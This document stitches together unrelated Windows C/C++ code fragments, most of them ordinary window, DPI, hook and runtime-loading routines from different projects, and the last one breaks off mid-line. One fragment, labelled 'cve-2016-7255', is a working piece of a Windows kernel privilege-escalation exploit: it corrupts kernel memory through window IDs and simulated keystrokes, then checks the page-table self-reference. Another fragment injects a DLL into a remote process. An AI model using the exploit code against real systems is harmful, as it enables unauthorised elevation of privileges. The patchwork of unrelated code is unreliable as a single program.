static void InitPatches() { LOGGING_DEBUG(lg) << "Patches initialization started."; // Syntax check patch LOGGING_TRACE(lg) << "Installing syntax check patch"; INSTALL_PATCH(syntaxCheck); // Auto disable trigger patch LOGGING_TRACE(lg) << "Installing auto disable patch"; INSTALL_PATCH(autoDisable); // Enable trigger check patch LOGGING_TRACE(lg) << "Installing enable trigger check patch"; INSTALL_PATCH(enableTriggerCheck1); INSTALL_PATCH(enableTriggerCheck2); LOGGING_TRACE(lg) << "Installing doodad limit patch"; INSTALL_PATCH(doodadLimit); LOGGING_TRACE(lg) << "Installing unit/item limit patch"; INSTALL_PATCH(unitItemLimit); LOGGING_TRACE(lg) << "Installing editor multi-instance patch"; INSTALL_PATCH(editorInstanceCheck); LOGGING_TRACE(lg) << "Installing attack table patch"; base::win::pe_reader module(GetModuleHandleW(NULL)); #define WE_ADDRESS(ADDR) ((uintptr_t)(ADDR) - 0x00400000 + (uintptr_t)module.module()) enum ATTACK_TABLE { WESTRING_UE_ATTACKTYPE_SPELLS = 0, WESTRING_UE_ATTACKTYPE_NORMAL, WESTRING_UE_ATTACKTYPE_PIERCE, WESTRING_UE_ATTACKTYPE_SIEGE, WESTRING_UE_ATTACKTYPE_MAGIC, WESTRING_UE_ATTACKTYPE_CHAOS, WESTRING_UE_ATTACKTYPE_HERO, }; uintptr_t attack_table_string[] = { WE_ADDRESS(0x007DF394), WE_ADDRESS(0x007DF374), WE_ADDRESS(0x007DF354), WE_ADDRESS(0x007DF334), WE_ADDRESS(0x007DF314), WE_ADDRESS(0x007DF2F4), WE_ADDRESS(0x007DF2D8), }; uintptr_t ptr = WE_ADDRESS(0x00784488); base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_NORMAL]); ptr += 4; base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_PIERCE]); ptr += 4; base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_SIEGE]); ptr += 4; base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_MAGIC]); ptr += 4; base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_CHAOS]); ptr += 4; base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_SPELLS]); ptr += 4; base::hook::replace_pointer(ptr, attack_table_string[WESTRING_UE_ATTACKTYPE_HERO]); ptr += 4; #undef WE_ADDRESS LOGGING_DEBUG(lg) << "Patches initialization completed."; }
/** * \brief Initialize w32_common framework. * * The first function that should be called from the w32_common framework. * It handles window creation on the screen with proper title and attributes. * It also initializes the framework's internal variables. The function should * be called after your own preinit initialization and you shouldn't do any * window management on your own. * * Global libvo variables changed: * vo_w32_window * vo_screenwidth * vo_screenheight * * \return 1 = Success, 0 = Failure */ int vo_w32_init(struct vo *vo) { assert(!vo->w32); struct vo_w32_state *w32 = talloc_zero(vo, struct vo_w32_state); vo->w32 = w32; HINSTANCE hInstance = GetModuleHandleW(NULL); HICON mplayerIcon = LoadIconW(hInstance, L"IDI_ICON1"); WNDCLASSEXW wcex = { .cbSize = sizeof wcex, .style = CS_OWNDC | CS_DBLCLKS | CS_HREDRAW | CS_VREDRAW, .lpfnWndProc = WndProc, .hInstance = hInstance, .hIcon = mplayerIcon, .hCursor = LoadCursor(NULL, IDC_ARROW), .lpszClassName = classname, .hIconSm = mplayerIcon, }; if (!RegisterClassExW(&wcex)) { MP_ERR(vo, "win32: unable to register window class!\n"); return 0; } if (vo->opts->WinID >= 0) { RECT r; GetClientRect(WIN_ID_TO_HWND(vo->opts->WinID), &r); vo->dwidth = r.right; vo->dheight = r.bottom; w32->window = CreateWindowExW(WS_EX_NOPARENTNOTIFY, classname, classname, WS_CHILD | WS_VISIBLE, 0, 0, vo->dwidth, vo->dheight, WIN_ID_TO_HWND(vo->opts->WinID), 0, hInstance, vo); } else { w32->window = CreateWindowExW(0, classname, classname, update_style(vo, 0), CW_USEDEFAULT, 0, 100, 100, 0, 0, hInstance, vo); } if (!w32->window) { MP_ERR(vo, "win32: unable to create window!\n"); return 0; } w32->tracking = FALSE; w32->trackEvent = (TRACKMOUSEEVENT){ .cbSize = sizeof(TRACKMOUSEEVENT), .dwFlags = TME_LEAVE, .hwndTrack = w32->window, }; if (vo->opts->WinID >= 0) EnableWindow(w32->window, 0); w32->cursor_visible = true; // we don't have proper event handling vo->wakeup_period = 0.02; updateScreenProperties(vo); MP_VERBOSE(vo, "win32: running at %dx%d\n", vo->opts->screenwidth, vo->opts->screenheight); return 1; } /** * \brief Toogle fullscreen / windowed mode. * * Should be called on VOCTRL_FULLSCREEN event. The window is * always resized during this call, so the rendering context * should be reinitialized with the new dimensions. * It is unspecified if vo_check_events will create a resize * event in addition or not. */ static void vo_w32_fullscreen(struct vo *vo) { if (vo->opts->fullscreen != vo->w32->current_fs) reinit_window_state(vo); } /** * \brief Toogle window border attribute. * * Should be called on VOCTRL_BORDER event. */ static void vo_w32_border(struct vo *vo) { vo->opts->border = !vo->opts->border; reinit_window_state(vo); } /** * \brief Toogle window ontop attribute. * * Should be called on VOCTRL_ONTOP event. */ static void vo_w32_ontop(struct vo *vo) { vo->opts->ontop = !vo->opts->ontop; reinit_window_state(vo); }
bool StQuadBufferCheck::testQuadBufferSupport() { #ifdef ST_HAVE_EGL return false; // unsupported at all! #elif defined(_WIN32) HINSTANCE anAppInst = GetModuleHandleW(NULL); // Holds The Instance Of The Application const StStringUtfWide QUAD_TEST_CLASS = L"StTESTQuadBufferWin"; if(!wndRegisterClass(anAppInst, QUAD_TEST_CLASS)) { ST_DEBUG_LOG_AT("Fail to register class"); return false; } HWND aWindow = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE | WS_EX_NOACTIVATE, QUAD_TEST_CLASS.toCString(), L"GL Quad Buffer test", WS_POPUP | WS_CLIPSIBLINGS | WS_CLIPCHILDREN | WS_DISABLED, 32, 32, 32, 32, NULL, NULL, anAppInst, NULL); if(aWindow == NULL) { UnregisterClassW(QUAD_TEST_CLASS.toCString(), anAppInst); return false; } HDC aDevCtx = GetDC(aWindow); if(aDevCtx == NULL) { // Did We Get A Device Context? ST_DEBUG_LOG_AT(L"WinAPI, Can't create Device Context for the entire screen"); DestroyWindow(aWindow); UnregisterClassW(QUAD_TEST_CLASS.toCString(), anAppInst); return false; } PIXELFORMATDESCRIPTOR aPixelFormat; memset(&aPixelFormat, 0, sizeof(PIXELFORMATDESCRIPTOR)); // zero out all fields aPixelFormat.nSize = sizeof(PIXELFORMATDESCRIPTOR); aPixelFormat.nVersion = 1; aPixelFormat.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_GDI | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER | PFD_STEREO; const int aPixelFormatId = ChoosePixelFormat(aDevCtx, &aPixelFormat); DescribePixelFormat(aDevCtx, aPixelFormatId, sizeof(PIXELFORMATDESCRIPTOR), &aPixelFormat); // clean up if(ReleaseDC(aWindow, aDevCtx) == 0) { ST_DEBUG_LOG_AT(L"WinAPI, ReleaseDC(aWindow, aDevCtx) FAILED"); } DestroyWindow(aWindow); UnregisterClassW(QUAD_TEST_CLASS.toCString(), anAppInst); return (aPixelFormat.dwFlags & PFD_STEREO) != 0; #elif defined(__linux__) Display* hDisplay = XOpenDisplay(NULL); // get first display on server from DISPLAY in env if(hDisplay == NULL) { ST_DEBUG_LOG_AT("X: could not open display"); return false; } // make sure OpenGL's GLX extension supported int dummy = 0; if(!glXQueryExtension(hDisplay, &dummy, &dummy)) { ST_DEBUG_LOG_AT("X: server has no OpenGL GLX extension"); return false; } static int quadBuff[] = { GLX_RGBA, GLX_DEPTH_SIZE, 16, GLX_DOUBLEBUFFER, GLX_STEREO, None }; // find an appropriate visual XVisualInfo* vi = glXChooseVisual(hDisplay, DefaultScreen(hDisplay), quadBuff); return vi != NULL; #endif }
/// <summary> /// Load function into database /// </summary> /// <param name="name">Function name</param> /// <param name="module">Module name</param> /// <returns>true on success</returns> FARPROC DynImport::load( const std::string& name, const std::wstring& module ) { auto mod = GetModuleHandleW( module.c_str() ); return load( name, mod ); }
static DWORD WINAPI detectCDThread(LPVOID lpParameter) { const char *classname = "PhysicsFSDetectCDCatcher"; const char *winname = "PhysicsFSDetectCDMsgWindow"; HINSTANCE hInstance = GetModuleHandleW(NULL); ATOM class_atom = 0; WNDCLASSEXA wce; MSG msg; memset(&wce, '\0', sizeof (wce)); wce.cbSize = sizeof (wce); wce.lpfnWndProc = detectCDWndProc; wce.lpszClassName = classname; wce.hInstance = hInstance; class_atom = RegisterClassExA(&wce); if (class_atom == 0) { initialDiscDetectionComplete = 1; /* let main thread go on. */ return 0; } /* if */ detectCDHwnd = CreateWindowExA(0, classname, winname, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, HWND_DESKTOP, NULL, hInstance, NULL); if (detectCDHwnd == NULL) { initialDiscDetectionComplete = 1; /* let main thread go on. */ UnregisterClassA(classname, hInstance); return 0; } /* if */ /* We'll get events when discs come and go from now on. */ /* Do initial detection, possibly blocking awhile... */ drivesWithMediaBitmap = pollDiscDrives(); initialDiscDetectionComplete = 1; /* let main thread go on. */ do { const BOOL rc = GetMessageW(&msg, detectCDHwnd, 0, 0); if ((rc == 0) || (rc == -1)) break; /* don't care if WM_QUIT or error break this loop. */ TranslateMessage(&msg); DispatchMessageW(&msg); } while (1); /* we've been asked to quit. */ DestroyWindow(detectCDHwnd); do { const BOOL rc = GetMessage(&msg, detectCDHwnd, 0, 0); if ((rc == 0) || (rc == -1)) break; TranslateMessage(&msg); DispatchMessageW(&msg); } while (1); UnregisterClassA(classname, hInstance); return 0; } /* detectCDThread */
int InjectRemote(DWORD nRemotePID, bool abDefTermOnly /*= false */) { int iRc = -1; BOOL lbWin64 = WIN3264TEST(IsWindows64(),TRUE); BOOL is32bit; DWORD nWrapperWait = (DWORD)-1, nWrapperResult = (DWORD)-1; HANDLE hProc = NULL; wchar_t szSelf[MAX_PATH+16], szHooks[MAX_PATH+16]; wchar_t *pszNamePtr, szArgs[32]; if (!GetModuleFileName(NULL, szSelf, MAX_PATH)) { iRc = -200; goto wrap; } wcscpy_c(szHooks, szSelf); pszNamePtr = (wchar_t*)PointToName(szHooks); if (!pszNamePtr) { iRc = -200; goto wrap; } hProc = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, nRemotePID); if (hProc == NULL) { iRc = -201; goto wrap; } // Определить битность процесса, Если он 32битный, а текущий - ConEmuC64.exe // Перезапустить 32битную версию ConEmuC.exe if (!lbWin64) { is32bit = TRUE; // x86 OS! } else { is32bit = FALSE; // x64 OS! // Проверяем, кто такой nRemotePID HMODULE hKernel = GetModuleHandleW(L"kernel32.dll"); if (hKernel) { typedef BOOL (WINAPI* IsWow64Process_t)(HANDLE hProcess, PBOOL Wow64Process); IsWow64Process_t IsWow64Process_f = (IsWow64Process_t)GetProcAddress(hKernel, "IsWow64Process"); if (IsWow64Process_f) { BOOL bWow64 = FALSE; if (IsWow64Process_f(hProc, &bWow64) && bWow64) { // По идее, такого быть не должно. ConEmu должен был запустить 32битный conemuC.exe #ifdef _WIN64 _ASSERTE(bWow64==FALSE); #endif is32bit = TRUE; } } } } if (is32bit != WIN3264TEST(TRUE,FALSE)) { // По идее, такого быть не должно. ConEmu должен был запустить соответствующий conemuC*.exe _ASSERTE(is32bit == WIN3264TEST(TRUE,FALSE)); PROCESS_INFORMATION pi = {}; STARTUPINFO si = {sizeof(si)}; _wcscpy_c(pszNamePtr, 16, is32bit ? L"ConEmuC.exe" : L"ConEmuC64.exe"); _wsprintf(szArgs, SKIPLEN(countof(szArgs)) L" /INJECT=%u", nRemotePID); if (!CreateProcess(szSelf, szArgs, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { iRc = -202; goto wrap; } nWrapperWait = WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &nWrapperResult); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); if (nWrapperResult != 0) { iRc = -203; SetLastError(nWrapperResult); goto wrap; } // Значит всю работу сделал враппер iRc = 0; goto wrap; } // Поехали _wcscpy_c(pszNamePtr, 16, is32bit ? L"ConEmuHk.dll" : L"ConEmuHk64.dll"); if (!FileExists(szHooks)) { iRc = -250; goto wrap; } if (abDefTermOnly) { int iFRc = PrepareHookModule(szHooks); if (iFRc != 0) { iRc = iFRc; goto wrap; } } iRc = InfiltrateDll(hProc, szHooks); // Если создавали временную копию - запланировать ее удаление if (abDefTermOnly && (lstrcmpi(szHooks, szSelf) != 0)) { MoveFileEx(szHooks, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); } wrap: if (hProc != NULL) CloseHandle(hProc); return iRc; }
static void _gdk_win32_enable_hidpi (GdkWin32Display *display) { gboolean check_for_dpi_awareness = FALSE; gboolean have_hpi_disable_envvar = FALSE; enum dpi_aware_status { DPI_STATUS_PENDING, DPI_STATUS_SUCCESS, DPI_STATUS_DISABLED, DPI_STATUS_FAILED } status = DPI_STATUS_PENDING; if (g_win32_check_windows_version (6, 3, 0, G_WIN32_OS_ANY)) { /* If we are on Windows 8.1 or later, cache up functions from shcore.dll, by all means */ display->have_at_least_win81 = TRUE; display->shcore_funcs.hshcore = LoadLibraryW (L"shcore.dll"); if (display->shcore_funcs.hshcore != NULL) { display->shcore_funcs.setDpiAwareFunc = (funcSetProcessDpiAwareness) GetProcAddress (display->shcore_funcs.hshcore, "SetProcessDpiAwareness"); display->shcore_funcs.getDpiAwareFunc = (funcGetProcessDpiAwareness) GetProcAddress (display->shcore_funcs.hshcore, "GetProcessDpiAwareness"); display->shcore_funcs.getDpiForMonitorFunc = (funcGetDpiForMonitor) GetProcAddress (display->shcore_funcs.hshcore, "GetDpiForMonitor"); } } else { /* Windows Vista through 8: use functions from user32.dll directly */ HMODULE user32; display->have_at_least_win81 = FALSE; user32 = GetModuleHandleW (L"user32.dll"); if (user32 != NULL) { display->user32_dpi_funcs.setDpiAwareFunc = (funcSetProcessDPIAware) GetProcAddress (user32, "SetProcessDPIAware"); display->user32_dpi_funcs.isDpiAwareFunc = (funcIsProcessDPIAware) GetProcAddress (user32, "IsProcessDPIAware"); } } if (g_getenv ("GDK_WIN32_DISABLE_HIDPI") == NULL) { /* For Windows 8.1 and later, use SetProcessDPIAwareness() */ if (display->have_at_least_win81) { /* then make the GDK-using app DPI-aware */ if (display->shcore_funcs.setDpiAwareFunc != NULL) { GdkWin32ProcessDpiAwareness hidpi_mode; /* TODO: See how per-monitor DPI awareness is done by the Wayland backend */ if (g_getenv ("GDK_WIN32_PER_MONITOR_HIDPI") != NULL) hidpi_mode = PROCESS_PER_MONITOR_DPI_AWARE; else hidpi_mode = PROCESS_SYSTEM_DPI_AWARE; switch (display->shcore_funcs.setDpiAwareFunc (hidpi_mode)) { case S_OK: display->dpi_aware_type = hidpi_mode; status = DPI_STATUS_SUCCESS; break; case E_ACCESSDENIED: /* This means the app used a manifest to set DPI awareness, or a DPI compatibility setting is used. The manifest is the trump card in this game of bridge here. The same applies if one uses the control panel or program properties to force system DPI awareness */ check_for_dpi_awareness = TRUE; break; default: display->dpi_aware_type = PROCESS_DPI_UNAWARE; status = DPI_STATUS_FAILED; break; } } else { check_for_dpi_awareness = TRUE; } } else { /* For Windows Vista through 8, use SetProcessDPIAware() */ display->have_at_least_win81 = FALSE; if (display->user32_dpi_funcs.setDpiAwareFunc != NULL) { if (display->user32_dpi_funcs.setDpiAwareFunc () != 0) { display->dpi_aware_type = PROCESS_SYSTEM_DPI_AWARE; status = DPI_STATUS_SUCCESS; } else { check_for_dpi_awareness = TRUE; } } else { display->dpi_aware_type = PROCESS_DPI_UNAWARE; status = DPI_STATUS_FAILED; } } } else { /* if GDK_WIN32_DISABLE_HIDPI is set, check for any DPI * awareness settings done via manifests or user settings */ check_for_dpi_awareness = TRUE; have_hpi_disable_envvar = TRUE; } if (check_for_dpi_awareness) { if (display->have_at_least_win81) { if (display->shcore_funcs.getDpiAwareFunc != NULL) { display->shcore_funcs.getDpiAwareFunc (NULL, &display->dpi_aware_type); if (display->dpi_aware_type != PROCESS_DPI_UNAWARE) status = DPI_STATUS_SUCCESS; else /* This means the DPI awareness setting was forcefully disabled */ status = DPI_STATUS_DISABLED; } else { display->dpi_aware_type = PROCESS_DPI_UNAWARE; status = DPI_STATUS_FAILED; } } else { if (display->user32_dpi_funcs.isDpiAwareFunc != NULL) { /* This most probably means DPI awareness is set through the manifest, or a DPI compatibility setting is used. */ display->dpi_aware_type = display->user32_dpi_funcs.isDpiAwareFunc () ? PROCESS_SYSTEM_DPI_AWARE : PROCESS_DPI_UNAWARE; if (display->dpi_aware_type == PROCESS_SYSTEM_DPI_AWARE) status = DPI_STATUS_SUCCESS; else status = DPI_STATUS_DISABLED; } else { display->dpi_aware_type = PROCESS_DPI_UNAWARE; status = DPI_STATUS_FAILED; } } if (have_hpi_disable_envvar && status == DPI_STATUS_SUCCESS) { /* The user setting or application manifest trumps over GDK_WIN32_DISABLE_HIDPI */ g_print ("Note: GDK_WIN32_DISABLE_HIDPI is ignored due to preset\n" " DPI awareness settings in user settings or application\n" " manifest, DPI awareness is still enabled."); } } switch (status) { case DPI_STATUS_SUCCESS: GDK_NOTE (MISC, g_message ("HiDPI support enabled, type: %s", display->dpi_aware_type == PROCESS_PER_MONITOR_DPI_AWARE ? "per-monitor" : "system")); break; case DPI_STATUS_DISABLED: GDK_NOTE (MISC, g_message ("HiDPI support disabled via manifest")); break; case DPI_STATUS_FAILED: g_warning ("Failed to enable HiDPI support."); break; case DPI_STATUS_PENDING: g_assert_not_reached (); break; } }
bool CWebWindow::_createWindow(HWND parent, unsigned styles, unsigned styleEx, int x, int y, int width, int height) { if (IsWindow(m_hwnd)) return true; const wchar_t* szClassName = L"wkeWebWindow"; MSG msg = { 0 }; WNDCLASSW wndClass = { 0 }; if (!GetClassInfoW(NULL, szClassName, &wndClass)) { wndClass.style = CS_HREDRAW | CS_VREDRAW; wndClass.lpfnWndProc = &CWebWindow::_staticWindowProc; wndClass.cbClsExtra = 200; wndClass.cbWndExtra = 200; wndClass.hInstance = GetModuleHandleW(NULL); wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); wndClass.hbrBackground= NULL; wndClass.lpszMenuName = NULL; wndClass.lpszClassName = szClassName; RegisterClassW(&wndClass); } //DWORD styleEx = 0; //DWORD styles = 0; //if (WKE_WINDOW_STYLE_LAYERED == (styleFlags & WKE_WINDOW_STYLE_LAYERED)) // styleEx = WS_EX_LAYERED; //if (WKE_WINDOW_STYLE_CHILD == (styleFlags & WKE_WINDOW_STYLE_CHILD)) // styles |= WS_CHILD; //else // styles |= WS_POPUP|WS_CAPTION|WS_SYSMENU|WS_THICKFRAME; //if (WKE_WINDOW_STYLE_BORDER == (styleFlags & WKE_WINDOW_STYLE_BORDER)) // styles |= WS_BORDER; //if (WKE_WINDOW_STYLE_CAPTION == (styleFlags & WKE_WINDOW_STYLE_CAPTION)) // styles |= WS_CAPTION; //if (WKE_WINDOW_STYLE_SIZEBOX == (styleFlags & WKE_WINDOW_STYLE_SIZEBOX)) // styles |= WS_SIZEBOX; //if (WKE_WINDOW_STYLE_SHOWLOADING == (styleFlags & WKE_WINDOW_STYLE_SHOWLOADING)) // styles |= WS_VISIBLE; m_hwnd = CreateWindowExW( styleEx, // window ex-style szClassName, // window class name L"wkeWebWindow", // window caption styles, // window style x, // initial x position y, // initial y position width, // initial x size height, // initial y size parent, // parent window handle NULL, // window menu handle GetModuleHandleW(NULL), // program instance handle this); // creation parameters if (!IsWindow(m_hwnd)) return FALSE; CWebView::setHostWindow(m_hwnd); CWebView::resize(width, height); return TRUE; }
// Creates the GLFW window and rendering context // static int createWindow(_GLFWwindow* window, const _GLFWwndconfig* wndconfig) { int xpos, ypos, fullWidth, fullHeight; WCHAR* wideTitle; if (wndconfig->monitor) { GLFWvidmode mode; // NOTE: This window placement is temporary and approximate, as the // correct position and size cannot be known until the monitor // video mode has been set _glfwPlatformGetMonitorPos(wndconfig->monitor, &xpos, &ypos); _glfwPlatformGetVideoMode(wndconfig->monitor, &mode); fullWidth = mode.width; fullHeight = mode.height; } else { xpos = CW_USEDEFAULT; ypos = CW_USEDEFAULT; getFullWindowSize(getWindowStyle(window), getWindowExStyle(window), wndconfig->width, wndconfig->height, &fullWidth, &fullHeight); } wideTitle = _glfwCreateWideStringFromUTF8(wndconfig->title); if (!wideTitle) { _glfwInputError(GLFW_PLATFORM_ERROR, "Win32: Failed to convert window title to UTF-16"); return GLFW_FALSE; } window->win32.handle = CreateWindowExW(getWindowExStyle(window), _GLFW_WNDCLASSNAME, wideTitle, getWindowStyle(window), xpos, ypos, fullWidth, fullHeight, NULL, // No parent window NULL, // No window menu GetModuleHandleW(NULL), window); // Pass object to WM_CREATE free(wideTitle); if (!window->win32.handle) { _glfwInputError(GLFW_PLATFORM_ERROR, "Win32: Failed to create window"); return GLFW_FALSE; } if (_glfw_ChangeWindowMessageFilterEx) { _glfw_ChangeWindowMessageFilterEx(window->win32.handle, WM_DROPFILES, MSGFLT_ALLOW, NULL); _glfw_ChangeWindowMessageFilterEx(window->win32.handle, WM_COPYDATA, MSGFLT_ALLOW, NULL); _glfw_ChangeWindowMessageFilterEx(window->win32.handle, WM_COPYGLOBALDATA, MSGFLT_ALLOW, NULL); } if (wndconfig->floating && !wndconfig->monitor) { SetWindowPos(window->win32.handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE); } DragAcceptFiles(window->win32.handle, TRUE); window->win32.minwidth = GLFW_DONT_CARE; window->win32.minheight = GLFW_DONT_CARE; window->win32.maxwidth = GLFW_DONT_CARE; window->win32.maxheight = GLFW_DONT_CARE; window->win32.numer = GLFW_DONT_CARE; window->win32.denom = GLFW_DONT_CARE; return GLFW_TRUE; }
int or_address_value_4(__in void* pAddress) { WNDCLASSEXW stWC = { 0 }; HWND hWndParent = NULL; HWND hWndChild = NULL; WCHAR* pszClassName = L"cve-2016-7255"; WCHAR* pszTitleName = L"cve-2016-7255"; void* pId = NULL; MSG stMsg = { 0 }; UINT64 value = 0; do { stWC.cbSize = sizeof(stWC); stWC.lpfnWndProc = DefWindowProcW; stWC.lpszClassName = pszClassName; if (0 == RegisterClassExW(&stWC)) { break; } hWndParent = CreateWindowExW( 0, pszClassName, NULL, WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 360, 360, NULL, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndParent) { break; } hWndChild = CreateWindowExW( 0, pszClassName, pszTitleName, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 0, 0, 160, 160, hWndParent, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndChild) { break; } #ifdef _WIN64 pId = ((UCHAR*)pAddress - 0x28); #else pId = ((UCHAR*)pAddress - 0x14); #endif // #ifdef _WIN64 SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId); DbgPrint("hWndChild = 0x%p\n", hWndChild); ShowWindow(hWndParent, SW_SHOWNORMAL); SetParent(hWndChild, GetDesktopWindow()); SetForegroundWindow(hWndChild); _sim_alt_shift_tab(4); SwitchToThisWindow(hWndChild, TRUE); _sim_alt_shift_esc(); while (GetMessage(&stMsg, NULL, 0, 0)) { SetFocus(hWndParent); _sim_alt_esc(20); SetFocus(hWndChild); _sim_alt_esc(20); TranslateMessage(&stMsg); DispatchMessage(&stMsg); if (value != 0) { break; } __try { value = *(UINT64 *)PML4_SELF_REF; if ((value & 0x67) == 0x67) { printf("Value Self Ref = %llx\n", value); break; } } __except (EXCEPTION_EXECUTE_HANDLER) { continue; } } } while (FALSE); if (NULL != hWndParent) { DestroyWindow(hWndParent); hWndParent = NULL; } if (NULL != hWndChild) { DestroyWindow(hWndChild); hWndChild = NULL; } UnregisterClassW(pszClassName, GetModuleHandleW(NULL)); return 0; }
void ApplicationPageOnNotify(WPARAM wParam, LPARAM lParam) { LPNMHDR pnmh; LV_DISPINFO* pnmdi; LPAPPLICATION_PAGE_LIST_ITEM pAPLI; WCHAR szMsg[256]; pnmh = (LPNMHDR) lParam; pnmdi = (LV_DISPINFO*) lParam; if (pnmh->hwndFrom == hApplicationPageListCtrl) { switch (pnmh->code) { case LVN_ITEMCHANGED: ApplicationPageUpdate(); break; case LVN_GETDISPINFO: pAPLI = (LPAPPLICATION_PAGE_LIST_ITEM)pnmdi->item.lParam; /* Update the item text */ if (pnmdi->item.iSubItem == 0) { wcsncpy(pnmdi->item.pszText, pAPLI->szTitle, pnmdi->item.cchTextMax); } /* Update the item status */ else if (pnmdi->item.iSubItem == 1) { if (pAPLI->bHung) { LoadStringW( GetModuleHandleW(NULL), IDS_NOT_RESPONDING , szMsg, sizeof(szMsg) / sizeof(szMsg[0])); } else { LoadStringW( GetModuleHandleW(NULL), IDS_RUNNING, (LPWSTR) szMsg, sizeof(szMsg) / sizeof(szMsg[0])); } wcsncpy(pnmdi->item.pszText, szMsg, pnmdi->item.cchTextMax); } break; case NM_RCLICK: if (ListView_GetSelectedCount(hApplicationPageListCtrl) < 1) { ApplicationPageShowContextMenu1(); } else { ApplicationPageShowContextMenu2(); } break; case NM_DBLCLK: ApplicationPage_OnSwitchTo(); break; case LVN_KEYDOWN: if (((LPNMLVKEYDOWN)lParam)->wVKey == VK_DELETE) ApplicationPage_OnEndTask(); break; } } else if (pnmh->hwndFrom == ListView_GetHeader(hApplicationPageListCtrl)) { switch (pnmh->code) { case NM_RCLICK: if (ListView_GetSelectedCount(hApplicationPageListCtrl) < 1) { ApplicationPageShowContextMenu1(); } else { ApplicationPageShowContextMenu2(); } break; case HDN_ITEMCLICK: (void)ListView_SortItems(hApplicationPageListCtrl, ApplicationPageCompareFunc, 0); bSortAscending = !bSortAscending; break; } } }
void Test_SetCursorPos() { HWND hwnd; MSG msg; int i; memset(results, sizeof(results), 0); hMouseHookLL = SetWindowsHookEx(WH_MOUSE_LL, MouseLLHookProc, GetModuleHandleA( NULL ), 0); hMouseHook = SetWindowsHookExW(WH_MOUSE, MouseHookProc, GetModuleHandleW( NULL ), GetCurrentThreadId()); ok(hMouseHook!=NULL,"failed to set hook\n"); ok(hMouseHookLL!=NULL,"failed to set hook\n"); test_no = 0; SetCursorPos(1,1); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); test_no = 1; mouse_event(MOUSEEVENTF_MOVE, 2,2, 0,0); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); hwnd = CreateTestWindow(); SetCapture(hwnd); test_no = 2; SetCursorPos(50,50); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); test_no = 3; mouse_event(MOUSEEVENTF_MOVE, 100,100, 0,0); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); test_no = 4; SetCursorPos(50,50); SetCursorPos(60,60); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); test_no = 5; SetCursorPos(50,50); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); SetCursorPos(60,60); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); test_no = 6; mouse_event(MOUSEEVENTF_MOVE, 50,50, 0,0); mouse_event(MOUSEEVENTF_MOVE, 60,60, 0,0); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); test_no = 7; mouse_event(MOUSEEVENTF_MOVE, 50,50, 0,0); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); mouse_event(MOUSEEVENTF_MOVE, 60,60, 0,0); while (PeekMessage( &msg, 0, 0, 0, PM_REMOVE )) DispatchMessageA( &msg ); for(i = 0; i< 8; i++) { #define TEST(s,x,y) ok(y == x, "%d: %s called %d times instead of %d\n",i,s, y,x); TEST("WH_MOUSE_LL", info[i].ll_hook_called, results[i].ll_hook_called); /* WH_MOUSE results vary greatly among windows versions */ //TEST("WH_MOUSE", info[i].hook_called, results[i].hook_called); TEST("WM_MOUSEMOVE", info[i].mouse_move_called, results[i].mouse_move_called); } SetCapture(NULL); DestroyWindow(hwnd); UnhookWindowsHookEx (hMouseHook); UnhookWindowsHookEx (hMouseHookLL); }
__int32 WINAPI _CorExeMain(void) { int exit_code; int argc; char **argv; MonoDomain *domain=NULL; MonoImage *image; MonoImageOpenStatus status; MonoAssembly *assembly=NULL; WCHAR filename[MAX_PATH]; char *filenameA; ICLRRuntimeInfo *info; RuntimeHost *host; HRESULT hr; int i; get_utf8_args(&argc, &argv); GetModuleFileNameW(NULL, filename, MAX_PATH); TRACE("%s", debugstr_w(filename)); for (i=0; i<argc; i++) TRACE(" %s", debugstr_a(argv[i])); TRACE("\n"); filenameA = WtoA(filename); if (!filenameA) return -1; FixupVTable(GetModuleHandleW(NULL)); hr = get_runtime_info(filename, NULL, NULL, 0, 0, FALSE, &info); if (SUCCEEDED(hr)) { hr = ICLRRuntimeInfo_GetRuntimeHost(info, &host); if (SUCCEEDED(hr)) hr = RuntimeHost_GetDefaultDomain(host, &domain); if (SUCCEEDED(hr)) { image = mono_image_open_from_module_handle(GetModuleHandleW(NULL), filenameA, 1, &status); if (image) assembly = mono_assembly_load_from(image, filenameA, 